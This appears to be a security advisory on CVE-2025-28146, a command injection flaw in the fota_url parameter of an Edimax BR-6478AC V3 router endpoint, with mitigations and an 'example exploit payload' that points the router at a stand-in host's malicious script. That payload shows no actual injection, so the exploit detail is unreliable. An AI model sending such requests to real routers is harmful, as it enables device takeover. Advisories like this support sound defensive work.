CVE-2025-28146

Comprehensive Technical Analysis of CVE-2025-28146

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2025-28146 CVSS Score: 9.8

The vulnerability in question is a command injection flaw in the Edimax AC1200 Wave 2 Dual-Band Gigabit Router BR-6478AC V3, specifically in version 1.0.15. The high CVSS score of 9.8 indicates a critical severity level, suggesting that successful exploitation could lead to significant impacts such as unauthorized access, data breaches, or complete system compromise.

2. Potential Attack Vectors and Exploitation Methods

The command injection vulnerability is present in the fota_url parameter within the /boafrm/formLtefotaUpgradeQuectel endpoint. An attacker could exploit this by crafting a malicious URL that, when processed by the router, executes arbitrary commands on the underlying operating system. This could be achieved through:

• Phishing Attacks: Tricking users into accessing a malicious URL.
• Cross-Site Scripting (XSS): Injecting malicious scripts into web pages that users interact with.
• Man-in-the-Middle (MitM) Attacks: Intercepting and modifying network traffic to inject the malicious URL.

3. Affected Systems and Software Versions

Affected Device: Edimax AC1200 Wave 2 Dual-Band Gigabit Router BR-6478AC V3 Affected Firmware Version: 1.0.15

It is crucial to note that other versions of the firmware and similar models may also be affected if they share the same codebase. Users and administrators should verify the firmware version and apply updates as necessary.

4. Recommended Mitigation Strategies

1. Firmware Update: Immediately update the router firmware to the latest version provided by Edimax. Ensure that the update process is secure and verified.
2. Network Segmentation: Isolate the router from critical network segments to limit the potential impact of an exploit.
3. Access Control: Implement strict access controls and use strong, unique passwords for the router's administrative interface.
4. Monitoring and Logging: Enable logging and monitoring to detect any suspicious activities or unauthorized access attempts.
5. Firewall Configuration: Configure the router's firewall to block unauthorized access and restrict remote management features.

5. Impact on Cybersecurity Landscape

The discovery of this vulnerability underscores the importance of securing IoT devices, particularly routers, which are often the gateway to home and small business networks. The high CVSS score indicates a significant risk, and the potential for widespread exploitation could lead to:

• Data Breaches: Unauthorized access to sensitive information.
• Network Compromise: Attackers gaining control over the network, leading to further attacks.
• Reputation Damage: For both the manufacturer and affected organizations.

6. Technical Details for Security Professionals

Vulnerability Type: Command Injection Affected Endpoint: /boafrm/formLtefotaUpgradeQuectel Vulnerable Parameter: fota_url

Exploitation Steps:

1. An attacker crafts a malicious URL with a payload designed to inject commands.
2. The attacker delivers this URL to the target, either through social engineering, XSS, or MitM attacks.
3. When the router processes the malicious URL, it executes the injected commands with the privileges of the web server process.

Example Exploit Payload:

http://<router_ip>/boafrm/formLtefotaUpgradeQuectel?fota_url=http://example.com/malicious_script.sh

References:

• Exploit and Third Party Advisory
• GitHub Repository

Conclusion:

CVE-2025-28146 represents a critical vulnerability that requires immediate attention from both users and cybersecurity professionals. By understanding the technical details and implementing the recommended mitigation strategies, organizations can significantly reduce the risk of exploitation and protect their networks from potential attacks.